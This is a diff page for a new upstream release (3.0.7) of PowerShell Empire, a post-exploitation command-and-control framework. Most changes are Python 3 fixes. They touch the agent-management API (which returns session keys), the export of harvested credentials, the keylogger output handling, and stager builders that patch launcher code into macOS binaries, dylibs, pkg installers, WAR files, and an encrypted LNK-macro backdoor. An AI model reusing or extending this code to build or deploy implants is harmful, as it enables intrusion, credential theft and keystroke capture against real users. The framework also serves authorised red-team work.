Codebase list powershell-empire / ebe5347
New upstream version 3.0.7 Sophie Brun 4 years ago
11 changed file(s) with 149 addition(s) and 108 deletion(s). Raw diff Collapse all Expand all
0 3.0.6
0 3.0.7
0 2/6/2020
1 ------------
2 - Version 3.0.7 Master Release
3 - Fixed string decode error in API - #92 (@Cx01N)
4 - Fixed python3 conversion errors in backdoorlnkmacro, multi/war, osx/dylib, osx/pkg, and osx/macho launchers (@Cx01N & @hypnoticpattern)
5 - Fixed exception error in autorun queue - #95 (@Cx01N)
6 - Fixed report generation and SQL database errors (@Vinnybod & @Cx01N)
7
08 1/31/2020
19 ------------
210 - Version 3.0.6 Master Release
374374 stagerOut = copy.deepcopy(stager.options)
375375
376376 if ('OutFile' in stagerOut) and (stagerOut['OutFile']['Value'] != ''):
377 # if the output was intended for a file, return the base64 encoded text
378 stagerOut['Output'] = base64.b64encode(stager.generate())
377 if isinstance(stager.generate(),str):
378 # if the output was intended for a file, return the base64 encoded text
379 stagerOut['Output'] = base64.b64encode(stager.generate().encode('UTF-8'))
380 else:
381 stagerOut['Output'] = base64.b64encode(stager.generate())
382
379383 else:
380384 # otherwise return the text of the stager generation
381385 stagerOut['Output'] = stager.generate()
477481 return make_response(jsonify({'error': 'module produced an empty script'}), 400)
478482
479483 try:
480 moduleData.decode('ascii')
484 if isinstance(moduleData, bytes):
485 moduleData = moduleData.decode('ascii')
481486 except UnicodeDecodeError:
482487 return make_response(jsonify({'error': 'module source contains non-ascii characters'}), 400)
483488
781786
782787 stale = agentTime < time.mktime(time.localtime()) - intervalMax
783788
784 agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale})
789 if isinstance(session_key,bytes):
790 session_key = session_key.decode('latin-1').encode('utf-8')
791
792 agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale})
785793
786794 return jsonify({'agents' : agents})
787795
807815 agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S"))
808816
809817 if agentTime < time.mktime(time.localtime()) - intervalMax:
810
811 staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
818 if isinstance(session_key, bytes):
819 session_key = session_key.decode('latin-1').encode('utf-8')
820
821 staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
812822
813823 return jsonify({'agents' : staleAgents})
814824
873883
874884 for activeAgent in activeAgentsRaw:
875885 [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
876 activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
886
887 if isinstance(session_key,bytes):
888 session_key = session_key.decode('latin-1').encode('utf-8')
889
890 activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
877891
878892 return jsonify({'agents' : activeAgents})
879893
244244 """
245245 Save a file download for an agent to the appropriately constructed path.
246246 """
247
248 sessionID = self.get_agent_name_db(sessionID)
247 nameid = self.get_agent_id_db(sessionID)
248 if nameid:
249 sessionID = nameid
250
249251 lang = self.get_language_db(sessionID)
250252 parts = path.split("\\")
251 parts
252253
253254 # construct the appropriate save path
254255 save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
14951496 #this will cause the cmdloop() to start processing the autoruns
14961497 self.mainMenu.do_agents("kickit")
14971498 except Exception as e:
1498 if e.message == "endautorun":
1499 if e == "endautorun":
14991500 pass
15001501 else:
1501 raise e
1502 print(helpers.color("[!] End of Autorun Queue" ))
15021503
15031504 return "STAGE2: %s" % (sessionID)
15041505
19391940
19401941
19411942 elif responseName == "TASK_CMD_JOB":
1942 #check if this is the powershell keylogging task, if so, write output to file instead of screen
1943 #check if this is the powershell keylogging task, if so, write output to file instead of screen
19431944 if keyLogTaskID and keyLogTaskID == taskID:
19441945 safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
19451946 savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
1414 from builtins import str
1515 from builtins import range
1616
17 VERSION = "3.0.6 BC-Security Fork"
17 VERSION = "3.0.7 BC-Security Fork"
1818
1919 from pydispatch import dispatcher
2020
958958 f = open('data/credentials.csv','w')
959959 f.write('Domain, Username, Host, Cred Type, Password\n')
960960 for row in rows:
961 row = list(row)
962 for n in range(len(row)):
963 if isinstance(row[n], bytes):
964 row[n] = row[n].decode('UTF-8')
961965 f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
962966 f.close()
963967
964968 # Empire Log
965969 cur.execute("""
966970 SELECT
967 reporting.time_stamp
968 ,reporting.event_type
969 ,reporting.name as "AGENT_ID"
970 ,a.hostname
971 ,reporting.taskID
972 ,t.data AS "Task"
973 ,r.data AS "Results"
971 time_stamp,
972 event_type,
973 substr(reporting.name, pos+1) as agent_name,
974 a.hostname,
975 taskID,
976 t.data as "Task",
977 r.data as "Results"
974978 FROM
975 reporting
976 JOIN agents a on reporting.name = a.session_id
977 LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
978 LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
979 WHERE
980 reporting.event_type == 'task' OR reporting.event_type == 'checkin'
979 (
980 SELECT
981 time_stamp,
982 event_type,
983 name,
984 instr(name, '/') as pos,
985 taskID
986 FROM reporting
987 WHERE name LIKE 'agent%'
988 AND reporting.event_type == 'task' OR reporting.event_type == 'checkin') reporting
989 LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
990 LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
991 JOIN agents a on agent_name = a.session_id
981992 """)
982993 rows = cur.fetchall()
983994 print(helpers.color("[*] Writing data/master.log"))
985996 f.write('Empire Master Taskings & Results Log by timestamp\n')
986997 f.write('='*50 + '\n\n')
987998 for row in rows:
999 row = list(row)
1000 for n in range(len(row)):
1001 if isinstance(row[n], bytes):
1002 row[n] = row[n].decode('UTF-8')
9881003 f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + str(row[5]) + '\n' + str(row[6]) + '\n')
9891004 f.close()
9901005 cur.close()
11381153
11391154 def emptyline(self):
11401155 pass
1141
1142
1156
11431157 def postcmd(self, stop, line):
11441158 if line == "back":
11451159 return True
11481162 if nextcmd == "lastautoruncmd":
11491163 raise Exception("endautorun")
11501164 self.cmdqueue.append(nextcmd)
1151
1152
1165
11531166 def do_back(self, line):
11541167 "Go back a menu."
11551168 return True
44684481 "Generate/execute the given Empire stager."
44694482 if not self.validate_options():
44704483 return
4471
4484
44724485 stagerOutput = self.stager.generate()
44734486
44744487 savePath = ''
626626 ret += pack('<B',0) #hotkey
627627 ret += pack('<B',0) #hotkey
628628 ret += (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
629 print(ret)
630629
631630 if self.link_flags.has_shell_item_id_list:
632631 siil = self.shell_item_id_list.bytes
152152
153153 dllRaw = ''
154154 with open(origPath, 'rb') as f:
155 dllRaw = f.read()
155 dllRaw = f.read()
156156
157157 replacementCode = helpers.decode_base64(poshCode)
158158 # patch the dll with the new PowerShell code
162162
163163 flags = 0
164164 flags |= 0x1
165
165
166166 sc = ConvertToShellcode(dllPatched)
167167
168168 return sc
169
169
170170 else:
171171 print(helpers.color("[!] Original .dll for arch {} does not exist!".format(arch)))
172
172
173173
174174
175175 def generate_macho(self, launcherCode):
192192 count = 0
193193 if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64:
194194 count += 1
195 if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
195 if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0:
196196 count += 1
197197 for section in cmd[count]:
198 if section.sectname.strip('\x00') == '__cstring':
198 if section.sectname.strip(b'\x00') == b'__cstring':
199199 offset = int(section.offset) + (int(section.size) - 2119)
200200 placeHolderSz = int(section.size) - (int(section.size) - 2119)
201201
206206
207207 key = 'subF'
208208 launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(launcherCode, cycle(key)))
209 launcherCode = base64.urlsafe_b64encode(launcherCode)
210 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
209 launcherCode = base64.urlsafe_b64encode(launcherCode.encode('utf-8'))
210 launcher = launcherCode + b'\x00' * (placeHolderSz - len(launcherCode))
211211 patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):]
212212
213213 return patchedMachO
237237
238238 if int(macho.headers[0].header.filetype) != MH_DYLIB:
239239 print(helpers.color("[!] Dylib template is not the correct filetype"))
240 return ""
241
242 cmds = macho.headers[0].commands
243
244 for cmd in cmds:
245 count = 0
246 if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
247 count += 1
248 if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
249 count += 1
250 for section in cmd[count]:
251 if section.sectname.strip('\x00') == '__cstring':
252 offset = int(section.offset)
253 placeHolderSz = int(section.size) - 52
254 template = f.read()
255 f.close()
256
257 if placeHolderSz and offset:
258
259 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
260 patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):]
261
262 return patchedDylib
263 else:
264 print(helpers.color("[!] Unable to patch dylib"))
265
266
267 def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
268
269 """
270 Generates an application. The embedded executable is a macho binary with the python interpreter.
271 """
272 MH_EXECUTE = 2
273
274 if Arch == 'x64':
275
276 f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher", "rb")
277 directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
278 else:
279 f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher", "rb")
280 directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
281
282 macho = macholib.MachO.MachO(f.name)
283
284 if int(macho.headers[0].header.filetype) != MH_EXECUTE:
285 print(helpers.color("[!] Macho binary template is not the correct filetype"))
286240 return ""
287241
288242 cmds = macho.headers[0].commands
297251 if section.sectname.strip(b'\x00') == b'__cstring':
298252 offset = int(section.offset)
299253 placeHolderSz = int(section.size) - 52
300
301254 template = f.read()
302255 f.close()
303256
304257 if placeHolderSz and offset:
305258
306 launcher = launcherCode.encode('utf8') + b'\x00' * (placeHolderSz - len(launcherCode))
259 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
260 if isinstance(launcher,str):
261 launcher = launcher.encode('UTF-8')
262 patchedDylib = b"".join([template[:offset],launcher,template[(offset+len(launcher)):]])
263
264 return patchedDylib
265 else:
266 print(helpers.color("[!] Unable to patch dylib"))
267
268
269 def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
270
271 """
272 Generates an application. The embedded executable is a macho binary with the python interpreter.
273 """
274 MH_EXECUTE = 2
275
276 if Arch == 'x64':
277
278 f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher", "rb")
279 directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
280 else:
281 f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher", "rb")
282 directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
283
284 macho = macholib.MachO.MachO(f.name)
285
286 if int(macho.headers[0].header.filetype) != MH_EXECUTE:
287 print(helpers.color("[!] Macho binary template is not the correct filetype"))
288 return ""
289
290 cmds = macho.headers[0].commands
291
292 for cmd in cmds:
293 count = 0
294 if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
295 count += 1
296 if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0:
297 count += 1
298 for section in cmd[count]:
299 if section.sectname.strip(b'\x00') == b'__cstring':
300 offset = int(section.offset)
301 placeHolderSz = int(section.size) - 52
302
303 template = f.read()
304 f.close()
305
306 if placeHolderSz and offset:
307
308 launcher = launcherCode.encode('utf-8') + b'\x00' * (placeHolderSz - len(launcherCode))
307309 patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
308310 if AppName == "":
309311 AppName = "launcher"
422424 os.chdir("pkgbuild")
423425 os.system("cp -r ../"+AppName+".app root/Applications/")
424426 os.system("chmod +x root/Applications/")
425 os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
427 subprocess.call("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload", shell=True, stderr=subprocess.DEVNULL)
428
426429 os.system("chmod +x expand/Payload")
427430 s = open('scripts/postinstall','r+')
428431 script = s.read()
430433 s.seek(0)
431434 s.write(script)
432435 s.close()
433 os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
436 subprocess.call("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts", shell=True, stderr=subprocess.DEVNULL)
434437 os.system("chmod +x expand/Scripts")
435 numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
436 size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
438 numFiles = subprocess.check_output("find root | wc -l",shell=True).strip(b'\n')
439 size = subprocess.check_output("du -b -s root",shell=True).split(b'\t')[0]
437440 size = old_div(int(size), 1024)
438441 p = open('expand/PackageInfo','w+')
439442 pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
460463 </pkg-info>
461464 """
462465 pkginfo = pkginfo.replace('APPNAME',AppName)
463 pkginfo = pkginfo.replace('KEY1',numFiles)
466 pkginfo = pkginfo.replace('KEY1',numFiles.decode('UTF-8'))
464467 pkginfo = pkginfo.replace('KEY2',str(size))
465468 p.write(pkginfo)
466469 p.close()
142142 ''' %(appName, appName)
143143
144144 # build the in-memory ZIP and write the three files in
145 warFile = io.StringIO()
145 warFile = io.BytesIO()
146146 zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)
147147
148148 zipData.writestr("META-INF/MANIFEST.MF", manifest)
00 from __future__ import print_function
11 from builtins import object
22 from lib.common import helpers
3 import os
43
54 class Stager(object):
65
77 from xlwt import Workbook, Utils
88 from lib.common import helpers
99 from Crypto.Cipher import AES
10 import os
1011
1112
1213 class Stager(object):
150151 if ch in encKey:
151152 encKey = encKey.replace(ch, random.choice(string.ascii_lowercase))
152153 encIV = random.randint(1, 240)
153
154
154155 # generate the launcher
155156 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False,
156157 userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds,
252253 color="green"))
253254
254255 # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
255 ivBuf = ""
256 ivBuf = ("").encode('UTF-8')
256257 for z in range(0, 16):
257 ivBuf = ivBuf + chr(encIV + z)
258 encryptor = AES.new(str(encKey, "utf-8"), AES.MODE_CBC, ivBuf)
259 launcher = str(launcher, "utf-8")
258 IV = encIV + z
259 IV = IV.to_bytes(1, byteorder='big')
260 ivBuf = b"".join([ivBuf,IV])
261
262 encryptor = AES.new(encKey, AES.MODE_CBC, ivBuf)
263
260264 # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
261265 padding = 16 - (len(launcher) % 16)
262266 if padding == 0:
265269 launcher = launcher + (chr(padding) * padding)
266270
267271 cipher_text = encryptor.encrypt(launcher)
268 cipher_text = helpers.encode_base64(ivBuf + cipher_text)
272 cipher_text = helpers.encode_base64(b"".join([ivBuf,cipher_text]))
269273
270274 # write XML to disk
271275 print(helpers.color("Writing xml...\n", color="blue"))
272 fileWrite = open(XmlOut, "w")
273 fileWrite.write("<?xml version=\"1.0\"?>\n")
274 fileWrite.write("<main>")
276 fileWrite = open(XmlOut, "wb")
277 fileWrite.write(b"<?xml version=\"1.0\"?>\n")
278 fileWrite.write(b"<main>")
275279 fileWrite.write(cipher_text)
276 fileWrite.write("</main>\n")
280 fileWrite.write(b"</main>\n")
277281 fileWrite.close()
278282 print(helpers.color(
279283 "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n",
1212
1313 'Description': ('Generate a windows shellcode stager'),
1414
15 'Commemts': [
15 'Comments': [
1616 ''
1717 ]
1818 }